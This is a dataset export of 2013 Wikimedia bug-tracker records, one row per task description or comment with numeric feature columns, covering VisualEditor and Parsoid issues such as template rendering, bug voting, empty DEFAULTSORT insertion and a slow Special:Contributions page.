247559,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,See also bug 49743.,,,1371552288,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,See also bug 49743.
51730,VisualEditor: visual representation of template breaks on 'apply changes',"Screenshot

See associated screenshot. This was an attempt to include ""foo"" in a string-based parameter in the infobox on https://www.mediawiki.org/wiki/VisualEditor:Template_test

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11624}",Needs Triage,90.0,1371532800,1372015399.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xfgiug37am4goz3ewbs4,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.740740740740741,0.6666666666666666,"Screenshot

See associated screenshot. This was an attempt to include ""foo"" in a string-based parameter in the infobox on URL

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11624}"
247136,VisualEditor: visual representation of template breaks on 'apply changes',"This is a dupe of bug 49854.

*** This bug has been marked as a duplicate of bug 49854 ***",,,1372015399,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xfgiug37am4goz3ewbs4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.769230769230769,0.5769230769230769,"This is a dupe of bug 49854.

*** This bug has been marked as a duplicate of bug 49854 ***"
51728,Enable voting in VisualEditor product,"If I want to track a bug, I can just vote for it. This is pretty common practice, as I understand it. 

But voting seems to be disabled in the VisualEditor product. Can we have it please?

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1371524400,1371527182.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-gpu6rhupzadk44q3zvmd,task_description,declined,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,16.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,9.0,3.0,2.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.53125,0.71875,"If I want to track a bug, I can just vote for it. This is pretty common practice, as I understand it. 

But voting seems to be disabled in the VisualEditor product. Can we have it please?

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
246940,Enable voting in VisualEditor product,"The voting system is worse than valueless; it has absolutely impact on prioritisation (we use judgement and actually talking to the community for that), which is bad enough, but it gives users the entirely-false expectation that we even notice, let alone act upon, their ""votes"".

The ""voting"" system should be removed from Wikimedia's Bugzilla instance for all products, but at the very least, I think it's dangerously disrespectful to our users - who can't be expected to know this works in practice - to add its rot to any more places.

Marking as WONTFIX.",,,1371527182,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gpu6rhupzadk44q3zvmd,task_subcomment,,True,c1,2,True,,,-2,,1.5,0.0,2.0,1.5,1.0,4.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,2.5,0.0,5.5,11.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,2.5,1.0,0.0,0.0,0.5,0.5,2.0,0.0,0.5,0.0,2.0,0.0,1.0,0.5,0.0,0.0,11.0,0.5,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,3.0,2.5,5.5,1.0,2.0,6.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,6.0,11.0,2.5,0.0,2.5,0.0,6.0,0.0,1.5,0.0,0.0,1.5,1.5,1.0,0.0,3.999415546464056,0.8376680303915839,"The voting system is worse than valueless; it has absolutely impact on prioritisation (we use judgement and actually talking to the community for that), which is bad enough, but it gives users the entirely-false expectation that we even notice, let alone act upon, their ""votes"".

The ""voting"" system should be removed from Wikimedia's Bugzilla instance for all products, but at the very least, I think it's dangerously disrespectful to our users - who can't be expected to know this works in practice - to add its rot to any more places.

Marking as WONTFIX."
246937,Enable voting in VisualEditor product,"(In reply to comment #1)
> Voting is not for tracking a bug, voting is to express that you'd like to
> see a
> bug fixed. The CC field is for tracking a bug.

See some of the comments in bug 25321 and bug 28385...",,,1371525193,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-gpu6rhupzadk44q3zvmd,task_subcomment,,True,c1,2,False,,,-2,,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,11.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.8148148148148148,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

See some of the comments in bug 25321 and bug 28385..."
246934,Enable voting in VisualEditor product,"Voting is not for tracking a bug, voting is to express that you'd like to see a bug fixed. The CC field is for tracking a bug.


It's correct that some products have it enabled, others have not.

In general (not a topic for this bug report), if voting is NOT used as an input channel for planning by developers (and hence part of the process to define priorities), it should be disabled.
I cannot make that decision for another team, hence CC'ing James.
My personal preference currently is to completely disable voting for above reasons (not used by management as one input channel to set priorities).",,,1371524702,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gpu6rhupzadk44q3zvmd,task_subcomment,,True,c1,2,True,,,-2,,0.5,0.0,1.0,1.5,3.5,2.5,2.5,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,1.5,0.0,6.5,12.5,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,4.5,1.5,2.0,0.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,17.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,4.0,3.5,6.0,1.5,1.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,4.0,12.5,1.0,0.0,0.0,0.0,4.0,0.0,0.0,2.5,0.0,2.0,0.0,0.0,0.0,3.8130536130536132,0.7102564102564102,"Voting is not for tracking a bug, voting is to express that you'd like to see a bug fixed. The CC field is for tracking a bug.


It's correct that some products have it enabled, others have not.

In general (not a topic for this bug report), if voting is NOT used as an input channel for planning by developers (and hence part of the process to define priorities), it should be disabled.
I cannot make that decision for another team, hence CC'ing James.
My personal preference currently is to completely disable voting for above reasons (not used by management as one input channel to set priorities)."
51724,VisualEditor: Possible to insert empty DEFAULTSORT,"Go to <https://test.wikipedia.org/wiki/IPod?veaction=edit>.

Click ""Page settings"", enter ""hello"" for the default sort key, click ""Apply changes"".

Click ""Page settings"", clear the default sort key, click ""Apply changes"".

Review your changes. VisualEditor wants to insert ""{{DEFAULTSORT:}}"" into the page. I don't think we want this behavior.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371514380,1371845516.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-fz5qvkff7hb32uaxnpl7,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,3.0,4.0,3.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.4946236559139785,0.5268817204301075,"Go to <URL

Click ""Page settings"", enter ""hello"" for the default sort key, click ""Apply changes"".

Click ""Page settings"", clear the default sort key, click ""Apply changes"".

Review your changes. VisualEditor wants to insert ""{{DEFAULTSORT:}}"" into the page. I don't think we want this behavior.

--------------------------
**Version**: unspecified
**Severity**: normal"
246755,VisualEditor: Possible to insert empty DEFAULTSORT,Merged and will be deployed very soon.,,,1371845552,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fz5qvkff7hb32uaxnpl7,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Merged and will be deployed very soon.
246747,VisualEditor: Possible to insert empty DEFAULTSORT,Related URL: https://gerrit.wikimedia.org/r/69850 (Gerrit Change Ie3caaf4811f87911444462f83d511c0cc46c0716),,,1371811734,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fz5qvkff7hb32uaxnpl7,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie3caaf4811f87911444462f83d511c0cc46c0716)
51714,Special:Contributions lists spurious AFT entries and takes 20 more seconds to load,"The URL was served for me in 22.766 s and contain spurious entries (without visualeditor tag) like
    21:47, 17 June 2013 . . (0)‎ . . Feedback: Wikipedia:File Upload Wizard . . DenakiPanos70 (talk) 

This practically equivalent search was served in 1.645 s: <https://en.wikipedia.org/w/index.php?limit=500&tagfilter=visualeditor&title=Special%3AContributions&contribs=newbie&target=&namespace=8&nsInvert=1&tagfilter=visualeditor&year=2013&month=-1>

--------------------------
**Version**: master
**Severity**: major
**URL**: https://en.wikipedia.org/w/index.php?limit=500&tagfilter=visualeditor&title=Special%3AContributions&contribs=newbie&target=&namespace=&tagfilter=visualeditor&year=2013&month=-1",Needs Triage,90.0,1371500220,1371566599.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-uubavjgv7r236ouenxi3,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,18.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,1.0,6.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.6144578313253013,0.5903614457831325,"The URL was served for me in 22.766 s and contain spurious entries (without visualeditor tag) like
    21:47, 17 June 2013 . . (0)‎ . . Feedback: Wikipedia:File Upload Wizard . . DenakiPanos70 (talk) 

This practically equivalent search was served in 1.645 s: <URL

--------------------------
**Version**: master
**Severity**: major
**URL**: URL"
245922,Special:Contributions lists spurious AFT entries and takes 20 more seconds to load,Merged.,,,1371566599,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-uubavjgv7r236ouenxi3,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
245913,Special:Contributions lists spurious AFT entries and takes 20 more seconds to load,https://gerrit.wikimedia.org/r/#/c/69152/ & https://gerrit.wikimedia.org/r/#/c/69153/ should fix this.,,,1371549103,,PHID-USER-kms5nmb5gvqzcdep3cnl,False,,,PHID-TASK-uubavjgv7r236ouenxi3,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8571428571428571,URL & URL should fix this.
51706,Can not create references on some pages,"**Author:** `rachelqa99`

**Description:**
On this page, we cannot create a reference:   https://www.mediawiki.org/wiki/User:Cmcmahon%28WMF%29/references_bug

We can create a reference on this page: https://www.mediawiki.org/wiki/User:Rachel99/VisualEditor_Feature_Test_Charter/refs_demo

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1371490500,1371570816.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_description,invalid,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.327272727272727,0.4909090909090909,"**Author:** CODE

**Description:**
On this page, we cannot create a reference:   URL

We can create a reference on this page: URL

--------------------------
**Version**: unspecified
**Severity**: major"
245466,Can not create references on some pages,"Chris, it's possible that we accidentally fixed the bug? We updated to master yesterday afternoon, though I don't think we were doing anything in this area.",,,1371572897,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_subcomment,,True,c1,2,True,,,-2,,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,12.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,9.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,12.0,3.0,3.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.09375,0.9375,"Chris, it's possible that we accidentally fixed the bug? We updated to master yesterday afternoon, though I don't think we were doing anything in this area."
245460,Can not create references on some pages,"This seems to have been an anomaly. A strange anomaly because Rachel and I both were unable to create a reference on this page.  Upon clicking ""Apply changes"" in the Reference UI, nothing at all appeared on the page. Now it does.",,,1371570816,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_subcomment,,True,c1,2,False,,,-2,,2.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,6.0,16.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,18.0,4.0,2.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,16.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,3.76,0.82,"This seems to have been an anomaly. A strange anomaly because Rachel and I both were unable to create a reference on this page.  Upon clicking ""Apply changes"" in the Reference UI, nothing at all appeared on the page. Now it does."
245453,Can not create references on some pages,Maybe you want bug 45132.,,,1371524288,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Maybe you want bug 45132.
245446,Can not create references on some pages,Works for me: https://www.mediawiki.org/w/index.php?title=User:Cmcmahon(WMF)/references_bug&diff=712793&oldid=712613 . Am I missing something?,,,1371524221,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_subcomment,,True,c1,2,False,,,-2,,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,3.1818181818181817,1.0,Works for me: URL . Am I missing something?
51701,Edit with VisualEditor duplicates content with subst'd version of the content,"A user reported this edit
<https://pt.wikipedia.org/w/index.php?title=CMM_-_Canal_Meninos_e_Meninas&diff=36129698&oldid=36129686>, where he just meant to delete a sentence. However the content was duplicated and templates were substituted in this duplicated version.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371485940,1371515540.0,PHID-USER-vyidforzdhnrsoweujao,False,,False,PHID-TASK-amav3irppf34v275xo4q,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,10.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,4.346938775510204,0.7346938775510204,"A user reported this edit
<URL where he just meant to delete a sentence. However the content was duplicated and templates were substituted in this duplicated version.

--------------------------
**Version**: unspecified
**Severity**: normal"
245092,Edit with VisualEditor duplicates content with subst'd version of the content,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934032,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-amav3irppf34v275xo4q,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
245089,Edit with VisualEditor duplicates content with subst'd version of the content,"This is now fixed in production - really sorry about this bug. If it happens again, please re-open this.",,,1371515540,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-amav3irppf34v275xo4q,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.875,"This is now fixed in production - really sorry about this bug. If it happens again, please re-open this."
51691,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","See https://en.wikipedia.org/wiki/Daryle_Singletary?veaction=edit - the first three (but strangely, not the last) discography tables.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371470220,1371496639.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xbihpnurfxbt3vghqoxr,task_description,invalid,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.7142857142857143,"See URL - the first three (but strangely, not the last) discography tables.

--------------------------
**Version**: unspecified
**Severity**: normal"
244543,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","(In reply to comment #5)
> (In reply to comment #4)
> > This is a Parsoid bug. The PHP parser does not generate a <tr> for this
> > wikitext, and Parsoid does.
> 
> Does the PHP parser create it but it then gets tidied away?
